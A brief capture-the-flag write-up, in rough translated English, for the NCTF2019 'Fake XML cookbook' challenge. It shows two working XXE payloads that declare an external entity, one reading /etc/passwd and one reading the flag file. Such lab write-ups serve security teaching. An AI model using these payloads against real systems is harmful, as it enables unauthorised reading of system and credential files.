[NCTF2019]Fake XML cookbook

According to the title, it is XXE Loophole , direct burp Grab the bag and have a look , Found to have XML Entity

Try to read the next file

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]>
<user><username>&admin;</username><password>admin</password></user>

commonly flag All in the root directory , Modify the payload Read flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]>
<user><username>&admin;</username><password>admin</password></user>